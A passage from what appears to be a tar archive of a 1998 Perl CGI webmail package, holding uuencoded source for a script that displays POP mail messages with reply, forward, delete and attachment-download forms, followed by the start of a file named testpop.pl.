M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
/;7D@*"1Q<W1R:6YG*3L*
J:68@*"`D14Y6>R=215%515-47TU%5$A/1"=](&5Q(")03U-4(B`I('L*
M<F5A9"A35$1)3BPD<7-T<FEN9RPD14Y6>R=#3TY414Y47TQ%3D=42"=]+#`I
<('Q\(&1I92`B<F5A9"!E<G)O<CH@)"%<;B(["@``
)?2!E;'-E('L*
C)'%S=')I;F<@("`]("1%3E9[)U%515)97U-44DE.1R=].PH`
"?0H`
@;7D@0$1!5$$@/2!S<&QI="@O)B\L)'%S=')I;F<I.PH`
5;7D@)&%C=&EO;B`](")N;VYE(CL*
89F]R96%C:"`D;&EN92`H0$1!5$$I('L*
F;7D@*"1N86UE+"1V86QU92D@/2!S<&QI="@O/2\L)&QI;F4I.PH`
@)'9A;'5E(#T@)G5N97-C87!E7W5R;"@D=F%L=64I.PH`
;:68@*"1N86UE(&5Q(")54T523D%-12(I('L*
4)'5S97)N86UE(#T@)'9A;'5E.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
=?2!E;'-I9B`H)&YA;64@97$@(DU31TY/(BD@>PH`
4)&US9VYO("`@(#T@)'9A;'5E.PH`
>)G9A;&ED871E*"1M<V=N;RPG6UQD+5TK)RPV*3L*
G*"1M<V=N;R`]?B`O7B@N*BDD+RD@)B8@*"1M<V=N;R`]("0Q*3L*
>?2!E;'-I9B`H)&YA;64@97$@(D%#5$E/3B(I('L*
4)&%C=&EO;B`@(#T@)'9A;'5E.PH`
B)G9A;&ED871E*"1A8W1I;VXL)UM<=UPM(%TK)RPV-"D["@``
I*"1A8W1I;VX@/7X@+UXH+BHI)"\I("8F("@D86-T:6]N(#T@)#$I.PH`
"?0H`
"?0H`
M;7D@)'5S97)?9&ER;F%M93TB)%![5T5"34%)3$1)4GTO)'5S97)N86UE(CL*
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
M)'-E;G1?9FYA;64@/2`B)'5S97)?9&ER;F%M92]!1$I%4T5.5$9/3$1%4D%#
+5$E612YT>'0B.PH`
L)&US9V1B(#T@("`@("`B)'5S97)?9&ER;F%M92]M97-S86=E<RYT>'0B.PH`
M*"UF("1S96YT7V9N86UE*2`F)B`H)&US9V1B(#T@(B1U<V5R7V1I<FYA;64O
3;W5T;65S<V%G97,N='AT(BD["@``
J)&%D9FYA;64](B1U<V5R7V1I<FYA;64O861D<F5S<V)O;VLN='AT(CL*
3:68@*"UF("1A9&9N86UE*2!["@``
7;W!E;BA!1D@L(CPD861F;F%M92(I.PH`
<=VAI;&4@*&1E9FEN960H)%\]/$%&2#XI*2!["@``
<*"1A9&1R97-S*2`]("]<?"A;7GQ=*BE<?"\["@``
7)&%D9'-A=GLD861D<F5S<WT@/2`Q.PH`
"?0H`
,8VQO<V4H049(*3L*
"?0H`
M;7D@0&US9W,@/2`F<F5A9%]M97-S86=E<U]F<F]M7V1I<VLH)&US9V1B*3L*
E:68@*"1A8W1I;VX@/7X@+V1E;&5T92!S96QE8W1E9"]I*2!["@``
M)&US9W-;)&US9VYO72`]?B!S+UQ\5D%27"]35$%413HN*S]<?"]<?%9!4EPO
14U1!5$4Z1$5,151%7'PO.PH`
M)&US9VYO(#T@)G)E;&%T:79E7VUS9VYO*"1M<V=N;RPB3D585"(L0&US9W,I
".PH`
M)&US9W-;)&US9VYO72`]?B!S+UQ\5D%27"]35$%413HN*S]<?"]<?%9!4EPO
14U1!5$4Z4D5!1$E47'PO.PH`
"?0H`
M:68@*"1M<V=S6R1M<V=N;UT@/7X@+UQ\5D%27"]35$%413I53E)%041<?"\I
#('L*
M)&US9W-;)&US9VYO72`]?B!S+UQ\5D%27"]35$%413HN*S]<?"]<?%9!4EPO
14U1!5$4Z4D5!1$E47'PO.PH`
"?0H`
H)G=R:71E7VUE<W-A9V5S7W1O7V1I<VLH)&US9V1B+%Q`;7-G<RD["@``
B;7D@)&US9W1O="`]("9G971?;7-G=&]T*%Q`;7-G<RD["@``
2)%\])&US9W-;)&US9VYO73L*
A0&US9U]P87)T<R`]("9G971?86QL7V9I;&5S*"1?*3L*
K0'1E>'1?9FEL97,@/2`F9V5T7W1E>'1?9FEL97,H0&US9U]P87)T<RD["@``
)0'1M<#TH*3L*
>9F]R96%C:"`D9FEL92`H0'1E>'1?9FEL97,I('L*
?;W!E;BA&2"PB/"1F:6QE+3Y[1DE,14Y!345](BD["@``
/=VAI;&4@*#Q&2#XI('L*
?+UY<<RI;/GY=+R`F)B`H)')E<&QY7W1E>'0],2D["@``
<+UXM+2TM+R`F)B`H)')E<&QY7W1E>'0],2D["@``
3:68@*"1R97!L>5]T97AT*2!["@``
7<'5S:"A`=W)A<'!E9"PB("`D7R(I.PH`
&;F5X=#L*
"?0H`
E:68@*&QE;F=T:"`^("1497AT.CI7<F%P.CIC;VQU;6YS*2!["@``
)0'1M<#TH*3L*
%9&\@>PH`
,<R]<<C]<;B0O+SL*
/<'5S:"A`=&UP+"1?*3L*
M?2`@=VAI;&4@*&1E9FEN960H)%\]/$9(/BD@)B8@(2@O7EQS*EQR/UQN)"\@
=?'P@+UY<<RI;/GY=+R!\?"`O7BTM+2TO*2`I.PH`
M9&5F:6YE9"@D7RD@)B8@+UY<<RI;/GY=+R`F)B`H)')E<&QY7W1E>'0],2D[
!"@``
M9&5F:6YE9"@D7RD@)B8@+UXM+2TM+R`@("`F)B`H)')E<&QY7W1E>'0],2D[
!"@``
E<'5S:"A`=W)A<'!E9"QW<F%P*"(@("(L(B`@(BQ`=&UP*2D["@``
5<'5S:"A`=W)A<'!E9"PB7&XB*3L*
F9&5F:6YE9"@D7RD@)B8@<'5S:"A`=W)A<'!E9"PB("`D7R(I.PH`
)?2!E;'-E('L*
7<'5S:"A`=W)A<'!E9"PB("`D7R(I.PH`
"?0H`
6?2`C(&5N9"!W:&EL92`\1D@^+BXN"@``
+8VQO<V4H1D@I.PH`
:?2`C(&5N9"!F;W)E86-H("1F:6QE+BXN+@H`
M0&%T=&%C:&5D7V9I;&5S(#T@)F=E=%]A='1A8VAE9%]F:6QE<RA`;7-G7W!A
&<G1S*3L*
M)&%L;&]F:70@/2`D;7-G7W!A<G1S6R0C;7-G7W!A<G1S72T^>T9)3$5.04U%
#?3L*
6;W!E;BA&2"PB/"1A;&QO9FET(BD["@``
I=VAI;&4H(&1E9FEN960H)%\]/$9(/BD@)B8@(2]>7'(_7&XD+RD@>PH`
2<'5S:"A`:&5A9&5R+"1?*3L*
"?0H`
+8VQO<V4H1D@I.PH`
B;7D@)6AE860@/2`F9V5T7VAE861E<G,H0&AE861E<BD["@``
@)'-U8FIE8W1?;&EN92`]("1H96%D>U-50DI%0U1].PH`
;)'1O7VQI;F4@("`@("`]("1H96%D>U1/?3L*
=)&9R;VU?;&EN92`@("`]("1H96%D>T923TU].PH`
@)&9R;VU?861D("`@("`]("1H96%D>T923TU!1$1].PH`
@)')E<&QY=&]?;&EN92`]("1H96%D>U)%4$Q95$]].PH`
?)')E<&QY=&]?861D("`]("1H96%D>U)43T%$1'T["@``
;)&-C7VQI;F4@("`@("`]("1H96%D>T-#?3L*
=)&1A=&5?;&EN92`@("`]("1H96%D>T1!5$5].PH`
?)'-U8FIE8W1?;&%B96P](B1,>U-U8FIE8W1].B(["@``
5:68@*"1S=6)J96-T7VQI;F4I('L*
;)'-U8FIE8W1?;&EN92`]?B!S+UX@*R\O;SL*
)?2!E;'-E('L*
:)'-U8FIE8W1?;&EN92`]("(H3F]N92DB.PH`
"?0H`
9)&1A=&5?;&%B96P](B1,>T1A=&5].B(["@``
2:68@*"1D871E7VQI;F4I('L*
8)&1A=&5?;&EN92`]?B!S+UX@*R\O;SL*
)?2!E;'-E('L*
7)&1A=&5?;&EN92`]("(H3F]N92DB.PH`
"?0H`
5;7D@)'-A=F5?861D<F5S<STG)SL*
9)&9R;VU?;&%B96P](B1,>T9R;VU].B(["@``
2:68@*"1F<F]M7VQI;F4I('L*
7)&9R;VU?;&EN92`]?B!S+UX@*R\O.PH`
)?2!E;'-E('L*
7)&9R;VU?;&EN92`]("(H3F]N92DB.PH`
"?0H`
M)')E<&QY=&\@/2`H)')E<&QY=&]?861D(#U^("]<0"\I(#\@)')E<&QY=&]?
1861D(#H@)&9R;VU?861D.PH`
C:68@*"%D969I;F5D*"1A9&1S879[)')E<&QY=&]]*2D@>PH`
M)'-A=F5?861D<F5S<R`]("(\8CX\82!H<F5F/5PB861D861D8F]O:RYC9VD_
M55-%4DY!344])'5S97)N86UE)DU31TY//21M<V=N;UPB/B1,>R=3879E($%D
29')E<W,G?3PO83X\+V(^(CL*
"?0H`
>)')E<&QY=&]?;&%B96P@/2`B4F5P;'DM5&\Z(CL*
5:68@*"1R97!L>71O7VQI;F4I('L*
;)')E<&QY=&]?;&EN92`]?B!S+UX@*R\O;SL*
A)')E<&QY=&]?;&EN92`]("(D<F5P;'ET;U]L:6YE(CL*
"?0H`
5)'1O7VQA8F5L/2(D3'M4;WTZ(CL*
0:68@*"1T;U]L:6YE*2!["@``
6)'1O7VQI;F4@/7X@<R]>("LO+V\["@``
"?0H`
1)&-C7VQA8F5L/2)#8SHB.PH`
0:68@*"1C8U]L:6YE*2!["@``
6)&-C7VQI;F4@/7X@<R]>("LO+V\["@``
"?0H`
M;7D@)&AT;6Q?9&%T95]L:6YE("`@(#T@)F5S8V%P95]H=&UL*"1D871E7VQI
%;F4I.PH`
M;7D@)&AT;6Q?<W5B:F5C=%]L:6YE(#T@)F5S8V%P95]H=&UL*"1S=6)J96-T
(7VQI;F4I.PH`
M;7D@)&AT;6Q?9G)O;5]L:6YE("`@(#T@)F5S8V%P95]H=&UL*"1F<F]M7VQI
%;F4I.PH`
M;7D@)&AT;6Q?8V-?;&EN92`@("`@(#T@)F5S8V%P95]H=&UL*"1C8U]L:6YE
#*3L*
M;7D@)&AT;6Q?=&]?;&EN92`@("`@(#T@)F5S8V%P95]H=&UL*"1T;U]L:6YE
#*3L*
M;7D@)&AT;6Q?<F5P;'ET;U]L:6YE(#T@)F5S8V%P95]H=&UL*"1R97!L>71O
(7VQI;F4I.PH`
K<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D<W5B:F5C=%]L86)E;%QN(BD["@``
L<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]S=6)J96-T7VQI;F5<;B(I.PH`
H<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D9&%T95]L86)E;%QN(BD["@``
M<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]D871E7VQI;F4@("`@("`@("`@
.("`@("`@("!<;B(I.PH`
F<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D=&]?;&%B96Q<;B(I.PH`
G<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]T;U]L:6YE7&XB*3L*
0:68@*"1C8U]L:6YE*2!["@``
F<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D8V-?;&%B96Q<;B(I.PH`
G<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]C8U]L:6YE7&XB*3L*
"?0H`
M:68@*"`H)')E<&QY=&]?861D(#U^("]<0"\I("8F("AL8R@D<F5P;'ET;U]A
:9&0I(&YE(&QC*"1F<F]M7V%D9"DI("D@>PH`
H<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D9G)O;5]L86)E;%QN(BD["@``
I<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]F<F]M7VQI;F5<;B(I.PH`
K<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D<F5P;'ET;U]L86)E;%QN(BD["@``
M<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]R97!L>71O7VQI;F4@)'-A=F5?
+861D<F5S<R(I.PH`
)?2!E;'-E('L*
H<'5S:"A`:&5A9&5R7VQA8F5L<RPB("`D9G)O;5]L86)E;%QN(BD["@``
M<'5S:"A`:&5A9&5R7VEN9F\L(B`D:'1M;%]F<F]M7VQI;F4@)'-A=F5?861D
(<F5S<R(I.PH`
"?0H`
M)'5R;',])RAH='1P.B\O?'1E;&YE=#HO+WQG;W!H97(Z+R]\9FEL93HO+WQW
786ES.B\O?&9T<#HO+WQW=W=<+BDG.PH`
0)&5M/2=;7'=<+5PN72<["@``
19F]R("A`=W)A<'!E9"D@>PH`
7)%\@/2`F97-C87!E7VAT;6PH)%\I.PH`
M<WLH)'5R;',N*S\I*"@H)EMA+7I=*S\[?%M<+BP[7#]<*5TI*S\I*BDH/STH
M)G%U;W0[?%QS*WPD*2E]>SQ!($A2148](B0Q(B!T87)G970](E]B;&%N:R(^
.)#$\+T$^)#-]:6=O.PH`
F<WLH02!(4D5&/2(I*'=W=UPN*7U[)#%H='1P.B\O)#)]:6=O.PH`
M<WLH7GQ;7',H/#X[.ETI*"1[96U]*UQ`)'ME;7TK6V$M>D$M6ETK*7U[)#$\
M02!(4D5&/2)C;VUP;W-E+F-G:3]54T523D%-13TD=7-E<FYA;64F35-'5$\]
B)#(F04-424]./6)U9VUE<W-A9V4B/B0R/"]!/GUI9V\["@``
><'5S:"A`;6%R:V5D7W5P7VUS9U]T97AT+"1?*3L*
F?2`C(&5N9"!F;W(@0'=R87!P961?;7-G7W1E>'0@;&]O<"XN+@H`
H;7D@)&US9W!O<R`]("9G971?;7-G<&]S*"1M<V=N;RQ`;7-G<RD["@``
B;7D@)&US9U]S=&%T(#T@(B1M<V=P;W,O)&US9W1O="(["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
F/'1I=&QE/B1,>R=796(@0F%S960@12U-86EL)WT\+W1I=&QE/@H`
M/&UE=&$@;F%M93TB1T5.15)!5$]2(B!C;VYT96YT/2(D3'LG5V5B($)A<V5D
,($4M36%I;"=](CX*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
(2$52141/0PH`
M)G!R:6YT7W1O<%]M96YU*"(@.B`D;7-G7W-T870B+"1U<V5R7V1I<FYA;64L
*7"5,+%PE0RD["@``
')"(])R<["@``
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
M/'1A8FQE(&-E;&QP861D:6YG/3`@8V5L;'-P86-I;F<],"!B;W)D97(],#X*
%/'1R/@H`
%/'1D/@H`
</&9O;G0@8V]L;W(])$-[5$585%]"3$%#2WT^"@``
:/'!R93Y`:&5A9&5R7VQA8F5L<SPO<')E/@H`
(/"]F;VYT/@H`
&/"]T9#X*
%/'1D/@H`
</&9O;G0@8V]L;W(])$-[5$585%]"3$%#2WT^"@``
8/'!R93Y`:&5A9&5R7VEN9F\\+W!R93X*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
8:68@*"%`871T86-H961?9FEL97,I('L*
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
//'1D(&-O;'-P86X],CX*
(2$52141/0PH`
A)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(FQE9G0B*3L*
0<')I;G0\/$A%4D5$3T,["@``
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
7:68@*$!A='1A8VAE9%]F:6QE<RD@>PH`
0<')I;G0\/$A%4D5$3T,["@``
D/'1A8FQE(&-E;&QP861D:6YG/3(@8V5L;'-P86-I;F<],CX*
(2$52141/0PH`
H9F]R("AM>2`D:3TP.R1I/$!A='1A8VAE9%]F:6QE<SLD:2LK*2!["@``
=)&9I;&4@/2`D871T86-H961?9FEL97-;)&E=.PH`
?)&9I;&5N86UE(#T@)&9I;&4M/GM&24Q%3D%-17T["@``
;)&9O<FUA="`]("1F:6QE+3Y[1D]234%4?3L*
7)&)Y=&5S(#T@+7,@)&9I;&5N86UE.PH`
B)&MB>71E<R`](&EN="@D8GET97,@+R`Q,#(T*2`K(#$["@``
:)&MB>71E<R`]("(H)'MK8GET97-]:RDB.PH`
G*"1B87-E;F%M92`]("1F:6QE;F%M92D@/7X@<R]>+BI<+R\O;SL*
J)&AT;6Q?8F%S96YA;64@/2`F97-C87!E7VAT;6PH)&)A<V5N86UE*3L*
I)'5R;%]U;F%M92`@("`@/2`F97-C87!E7W5R;"@D=7-E<FYA;64I.PH`
1;7D@)'1A<F=E="`]("(B.PH`
M*"1F;W)M870@/7X@;2-T97AT+VAT;6PC:2D@)B8@*"1T87)G970](G1A<F=E
,=#U?8FQA;FLB*3L*
M*"1F;W)M870@/7X@;2-I;6%G92]J<&5G(VDI("8F("@D=&%R9V5T/2)T87)G
-970]7V)L86YK(BD["@``
M*"1F;W)M870@/7X@;2-I;6%G92]P:G!E9R-I*2`F)B`H)'1A<F=E=#TB=&%R
.9V5T/5]B;&%N:R(I.PH`
M*"1F;W)M870@/7X@;2-I;6%G92]G:68C:2D@)B8@*"1T87)G970](G1A<F=E
,=#U?8FQA;FLB*3L*
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F1O=VYL;V%D+F-G:2(@)'1A
M<F=E="!E;F-T>7!E/2)A<'!L:6-A=&EO;B]X+7=W=RUF;W)M+75R;&5N8V]D
%960B/@H`
,/'1D/B`@/"]T9#X*
%/'1D/@H`
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=$;W=N;&]A9"!!='1A
+8VAM96YT)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
-)'5R;%]U;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B("`@("!V86QU93TB
))&US9VYO(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB05143D\B("`@("!V86QU93TB
%)&DB/@H`
&/"]T9#X*
(/"]F;W)M/@H`
%/'1D/@H`
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
M04-+?3X\8CXD:'1M;%]B87-E;F%M92`D:V)Y=&5S/"]B/B!;)&9O<FUA=%T\
'+V9O;G0^"@``
&/"]T9#X*
&/"]T<CX*
(2$52141/0PH`
4?2`C(&5N9"!F;W(@;&]O<"XN+@H`
0<')I;G0\/$A%4D5$3T,["@``
)/"]T86)L93X*
(2$52141/0PH`
A)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(FQE9G0B*3L*
=?2`C(&5N9"!I9B`H0&%T=&%C:&UE;G1S*2XN+@H`
M;7D@)&YE>'1M<V=N;R`]("9R96QA=&EV95]M<V=N;R@D;7-G;F\L(DY%6%0B
)+$!M<V=S*3L*
M;7D@)'!R979M<V=N;R`]("9R96QA=&EV95]M<V=N;R@D;7-G;F\L(E!2158B
)+$!M<V=S*3L*
M)G!R:6YT7V%C=&EO;E]T86)L92A<)4PL7"5#+"1P<F5V;7-G;F\L)&US9VYO
.+"1N97AT;7-G;F\I.PH`
I)G!R:6YT7VUE<W-A9V4H7"5#+$!M87)K961?=7!?;7-G7W1E>'0I.PH`
M)G!R:6YT7V%C=&EO;E]T86)L92A<)4PL7"5#+"1P<F5V;7-G;F\L)&US9VYO
.+"1N97AT;7-G;F\I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")!3$PB+%PE0RQ<
%)4PI.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
8<W5B('!R:6YT7V%C=&EO;E]T86)L97L*
M;7D@*"1L86YG+"1C;VQO<G,L)'!R979M<V=N;RPD;7-G;F\L)&YE>'1M<V=N
);RD@/2!`7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
@;7D@*"1D96QE7V%C=&EO;BPD;F5X=%]A8W1I;VXI.PH`
::68@*"1N97AT;7-G;F\@/7X@+UXM+RD@>PH`
:)&1E;&5?86-T:6]N/2)I;F)O>"YC9VDB.PH`
:)&YE>'1?86-T:6]N/2)I;F)O>"YC9VDB.PH`
)?2!E;'-E('L*
<)&1E;&5?86-T:6]N/2)S:&]W;7-G+F-G:2(["@``
<)&YE>'1?86-T:6]N/2)S:&]W;7-G+F-G:2(["@``
"?0H`
1;7D@)'!R979?86-T:6]N.PH`
::68@*"1P<F5V;7-G;F\@/7X@+UXM+RD@>PH`
:)'!R979?86-T:6]N/2)I;F)O>"YC9VDB.PH`
)?2!E;'-E('L*
<)'!R979?86-T:6]N/2)S:&]W;7-G+F-G:2(["@``
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
M/'1A8FQE('=I9'1H/2(Q,"4B(&)O<F1E<CTB,"(@8V5L;'!A9&1I;F<](C0B
2(&-E;&QS<&%C:6YG/2(R(CX*
%/'1R/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
J/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=297!L>2=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB4F5P
%;'DB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B("!V86QU93TB)&US
&9VYO(CX*
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=297!L>2!!;&PG?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB4F5P
);'D@06QL(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B("!V86QU93TB)&US
&9VYO(CX*
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=&;W)W87)D)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB1F]R
'=V%R9"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B("!V86QU93TB)&US
&9VYO(CX*
&/"]T9#X*
(/"]F;W)M/@H`
B/'1D/B9N8G-P.R9N8G-P.R9N8G-P.R9N8G-P.SPO=&0^"@``
K/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](B1P<F5V7V%C=&EO;B(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B9L=#LF;'0[("1,>R=0<F5V
):6]U<R=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D<')E
)=FUS9VYO(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
&/"]T9#X*
(/"]F;W)M/@H`
K/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](B1D96QE7V%C=&EO;B(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
K/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=$96QE=&4G?2(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;7-G
%;F\B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@=F%L=64](F1E
0;&5T92!S96QE8W1E9"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB4T5,14-4141?35-'4R(@=F%L
-=64](B1M<V=N;R(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
&/"]T9#X*
(/"]F;W)M/@H`
K/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](B1N97AT7V%C=&EO;B(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=.97AT)WT@)F=T.R9G
%=#LB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB35-'3D\B('9A;'5E/2(D;F5X
)=&US9VYO(CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("!V86QU93TB
,)'5S97)N86UE(CX*
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('!R:6YT7VUE<W-A9V4@>PH`
<;7D@*"1C;VQO<G,L0&US9W1E>'0I(#T@0%\["@``
0;7D@)4,])21C;VQO<G,["@``
*;&]C86P@)%\["@``
E<')I;G0@(CQF;VYT(&-O;&]R/21#>U1%6%1?0DQ!0TM]/B(["@``
1<')I;G0@(CQP<F4^7&XB.PH`
89F]R96%C:"`D7R`H0&US9W1E>'0I('L*
'<')I;G0["@``
"?0H`
9<')I;G0@(CPO<')E/CPO9F]N=#Y<;B(["@``
"?0H`
wm357/testpop.pl100755    312    144        4226  7245677670  13037 0ustar  webmailusers#!/usr/bin/perl

# Copyright 1998, Michael Mohlere
